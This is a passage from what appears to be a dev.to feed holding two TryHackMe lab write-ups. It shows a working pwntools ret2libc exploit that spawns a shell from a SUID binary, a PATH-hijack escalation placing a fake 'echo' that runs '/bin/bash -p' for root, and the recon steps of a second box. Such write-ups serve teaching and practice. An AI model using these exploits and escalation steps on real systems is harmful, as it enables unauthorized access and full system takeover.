&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No canary + NX enabled -&amp;gt; classic &lt;strong&gt;ret2libc&lt;/strong&gt; target.&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding the Overflow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./pwn_me
Binexgod said he want to make this easy.
System is at: 0xf7df4950
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The binary leaks a live &lt;code&gt;system()&lt;/code&gt; address on every run - no need for a separate leak primitive.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb ./pwn_me
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; info functions
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; disassemble vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;
&lt;span class="nf"&gt;...&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;fgets&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;read&lt;/span&gt; &lt;span class="nv"&gt;equivalent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;vuln()&lt;/code&gt; reads into a small fixed buffer with no length check.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb ./pwn_me
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; run &amp;lt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import sys; sys.stdout.buffer.write(b'A'*32 + b'BBBB')"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip
eip            0x42424242       0x42424242
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Offset to return address: 32 bytes&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Building the ret2libc Chain
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ldd pwn_me
&lt;span class="c"&gt;# libc.so.6 =&amp;gt; /lib32/libc.so.6&lt;/span&gt;

readelf &lt;span class="nt"&gt;-s&lt;/span&gt; /lib32/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;" system"&lt;/span&gt;
&lt;span class="c"&gt;# 1457: 0003a950  55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0&lt;/span&gt;

strings &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; x /lib32/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"/bin/sh"&lt;/span&gt;
&lt;span class="c"&gt;# 15910b /bin/sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;libc_base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;leak&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x3a950&lt;/span&gt;
&lt;span class="n"&gt;binsh_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;libc_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x15910b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;./pwn_me&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recvuntil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;System is at: &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;leak&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recvline&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Leaked system(): &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;leak&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;libc_base&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;leak&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x3a950&lt;/span&gt;
&lt;span class="n"&gt;system_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;leak&lt;/span&gt;
&lt;span class="n"&gt;binsh_addr&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;libc_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x15910b&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;system_addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x41414141&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binsh_addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;interactive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since &lt;code&gt;pwn_me&lt;/code&gt; is SUID/SGID &lt;code&gt;binexgod&lt;/code&gt;, the spawned &lt;code&gt;/bin/sh&lt;/code&gt; inherits those bits:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;whoami
binexgod
id
uid=1002(binexgod) gid=1001(guardian) groups=1001(guardian)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Flag 2
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;binexgod_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED_BINEXGOD_FLAG}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation - binexgod to root
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rwsr-xr-x 1 root binexgod 8824 Mar 15  2021 vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SUID root, group &lt;code&gt;binexgod&lt;/code&gt;. Source was readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;envp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;gid_t&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;uid_t&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;gid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getegid&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="n"&gt;uid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;geteuid&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="n"&gt;setresgid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;setresuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/usr/bin/env echo Get out of heaven lol"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Get out of heaven lol
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Vulnerability
&lt;/h3&gt;

&lt;p&gt;The binary drops privileges via &lt;code&gt;setresuid&lt;/code&gt;/&lt;code&gt;setresgid&lt;/code&gt; &lt;em&gt;before&lt;/em&gt; calling &lt;code&gt;system()&lt;/code&gt; - but since it's SUID root, &lt;code&gt;geteuid()&lt;/code&gt;/&lt;code&gt;getegid()&lt;/code&gt; already return &lt;code&gt;0&lt;/code&gt;, so those calls re-affirm root instead of dropping it. &lt;code&gt;system()&lt;/code&gt; is still called with &lt;code&gt;/usr/bin/env echo ...&lt;/code&gt;: an absolute path to &lt;code&gt;env&lt;/code&gt;, but &lt;code&gt;env&lt;/code&gt; resolves &lt;code&gt;echo&lt;/code&gt; via &lt;code&gt;$PATH&lt;/code&gt; search, not a hardcoded location.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;which &lt;span class="nb"&gt;env&lt;/span&gt;
&lt;span class="c"&gt;# /usr/bin/env&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$PATH&lt;/span&gt;
&lt;span class="c"&gt;# /home/guardian/bin:...:/usr/bin:/sbin:/bin:...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exploitation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /tmp/evil

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash
/bin/bash -p'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/evil/echo

&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/evil/echo

&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/evil:&lt;span class="nv"&gt;$PATH&lt;/span&gt;

./vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;env&lt;/code&gt;'s &lt;code&gt;echo&lt;/code&gt; lookup resolves to the attacker-controlled script, spawning a root shell (&lt;code&gt;bash -p&lt;/code&gt; preserves the elevated UID/GID):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@heaven:/home/binexgod# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Root Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /root
&lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED_ROOT_FLAG}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Complete Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;angel_A (Ghidra static analysis, bypass ptrace anti-debug)
  -&amp;gt; decompile obfuscated byte-transform check
  -&amp;gt; invert (input^4)+8 transform on hardcoded username array
  -&amp;gt; guardian

angel_B (GDB, info functions -&amp;gt; main.main disassembly)
  -&amp;gt; length check (0xb) + runtime.memequal against .rodata pointer
  -&amp;gt; dump reference string at leaked address
  -&amp;gt; GOg0esGrrr!

SSH as guardian (guardian:GOg0esGrrr!)
  -&amp;gt; FLAG 1 (guardian_flag.txt)

Enumeration -&amp;gt; pwn_me (SUID/SGID binexgod, no canary, NX enabled, leaks system() address)
  -&amp;gt; gdb: vuln() unbounded read, offset to EIP = 32 bytes
  -&amp;gt; readelf/strings on /lib32/libc.so.6 -&amp;gt; system() offset + /bin/sh offset
  -&amp;gt; ret2libc payload: padding + system() + junk_ret + /bin/sh
  -&amp;gt; shell as binexgod
  -&amp;gt; FLAG 2 (binexgod_flag.txt)

Enumeration -&amp;gt; vuln (SUID root, binexgod group)
  -&amp;gt; source shows setresuid/setresgid "hardening" that re-affirms root (already root via SUID)
  -&amp;gt; system("/usr/bin/env echo ...") resolves "echo" via $PATH, not hardcoded
  -&amp;gt; PATH hijack: /tmp/evil/echo -&amp;gt; /bin/bash -p
  -&amp;gt; export PATH=/tmp/evil:$PATH; ./vuln
  -&amp;gt; root shell
  -&amp;gt; ROOT FLAG (root.txt)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Takeaways / Exploit Notes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Anti-debug checks&lt;/strong&gt; (ptrace self-detection) can often be bypassed entirely by static analysis instead of live debugging - no need to patch or defeat the check if you never attach a debugger.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Go binaries&lt;/strong&gt; are statically linked and symbol-heavy; &lt;code&gt;info functions&lt;/code&gt; / &lt;code&gt;disassemble main.main&lt;/code&gt; in GDB is far more useful than &lt;code&gt;strings&lt;/code&gt; alone for locating comparison logic.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No stack canary + NX + leaked libc address&lt;/strong&gt; = ideal, low-friction ret2libc scenario; no need to brute-force or leak libc via a separate format string bug since the binary handed us the address directly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SUID binaries calling &lt;code&gt;system()&lt;/code&gt;/unqualified binary names&lt;/strong&gt; are a PATH hijacking goldmine - always check &lt;code&gt;strings &amp;lt;suid_binary&amp;gt;&lt;/code&gt; for shell-outs and enumerate &lt;code&gt;$PATH&lt;/code&gt; write permissions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privilege-dropping calls that run after the process already holds the target privilege don't drop anything&lt;/strong&gt; - &lt;code&gt;setresuid(geteuid(), ...)&lt;/code&gt; on a SUID-root binary just reasserts root.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe: Adventure Time Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 22 Sep 2026 12:20:08 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-adventure-time-writeup-3e9e</link>
      <guid>https://dev.to/exploitnotes/tryhackme-adventure-time-writeup-3e9e</guid>
      <description>&lt;h1&gt;
  
  
  Summary
&lt;/h1&gt;

&lt;p&gt;Adventure Time is a hard-rated TryHackMe box themed around the cartoon, with a heavy focus on multi-layered encoding/decoding puzzles, steganography, and lateral movement through several user accounts before reaching root. The attack path begins with FTP anonymous login retrieving six JPEG images whose EXIF XP Comment fields encode binary fragments, which concatenate to a hint phrase. A chain of web pages hosted at &lt;code&gt;land-of-ooo.com&lt;/code&gt; — discovered by following the SSL certificate clue from the HTTPS vhost — delivers credentials through Morse code, AES decryption, Vigenère cipher, and a Spoon (esoteric binary language) challenge. Each credential unlocks the next user. The final privilege escalation abuses a SUID-root &lt;code&gt;exim4&lt;/code&gt; binary vulnerable to CVE-2019-10149 (The Return of the WIZard), landing a root shell and the BMO reset code hidden in Bubblegum's home directory.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Recon
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rustscan -a MACHINE_IP --ulimit 5000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Open MACHINE_IP:21
Open MACHINE_IP:22
Open MACHINE_IP:80
Open MACHINE_IP:443
Open MACHINE_IP:31337
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -sC -sV MACHINE_IP -p 21,22,80,443,31337
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r--    1 ftp      ftp       1401357 Sep 21  2019 1.jpg
| -r--r--r--    1 ftp      ftp        233977 Sep 21  2019 2.jpg
| -r--r--r--    1 ftp      ftp        524615 Sep 21  2019 3.jpg
| -r--r--r--    1 ftp      ftp        771076 Sep 21  2019 4.jpg
| -r--r--r--    1 ftp      ftp       1644395 Sep 21  2019 5.jpg
|_-r--r--r--    1 ftp      ftp         40355 Sep 21  2019 6.jpg
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.29
|_http-title: 404 Not Found
443/tcp   open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: You found Finn
| ssl-cert: Subject: commonName=adventure-time.com/organizationName=Candy Corporate Inc.
31337/tcp open  Elite?
| fingerprint-strings:
|   GenericLines, NULL:
|     Hello Princess Bubblegum. What is the magic word?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 31337 is a custom TCP service that prompts for a "magic word". Port 80 returns 404. Port 443 has a self-signed cert for &lt;code&gt;adventure-time.com&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. FTP anonymous login - EXIF binary decode
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ftp MACHINE_IP 21
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Name: anonymous
230 Login successful.
ftp&amp;gt; prompt off
ftp&amp;gt; mget *
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Six JPEGs downloaded. All have binary data embedded in the &lt;code&gt;XP Comment&lt;/code&gt; EXIF field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;exiftool *.jpg | grep "XP Comment"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;XP Comment : 01111001 01101111 01110101 00100000
XP Comment : 01110010 01100101 01100001 01101100 01101100 01111001 00100000
XP Comment : 01101100 01101001 01101011 01100101 00100000
XP Comment : 01110100 01101111 00100000
XP Comment : 01110000 01110101 01111010 01111010 01101100 01100101 00100000
XP Comment : 01100100 01101111 01101110 00100111 01110100 00100000 01111001 01100001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoding each binary sequence and concatenating:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;1.jpg → &lt;code&gt;you&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2.jpg → &lt;code&gt;really&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;3.jpg → &lt;code&gt;like&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;4.jpg → &lt;code&gt;to&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;5.jpg → &lt;code&gt;puzzle&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;6.jpg → &lt;code&gt;don't ya&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Result: &lt;strong&gt;"you really like to puzzle don't ya"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Tried this as the magic word on port 31337 - rejected. It's a clue, not the answer itself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
you really like to puzzle don't ya
The magic word is not you really like to puzzle don't ya
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Web enumeration - HTTPS vhost
&lt;/h3&gt;

&lt;p&gt;Port 80 (HTTP) returns 404. Port 443 (HTTPS) serves content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -k https://MACHINE_IP/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;You found Finn&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"finn-1.png"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"the magic word"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"width: 100%"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



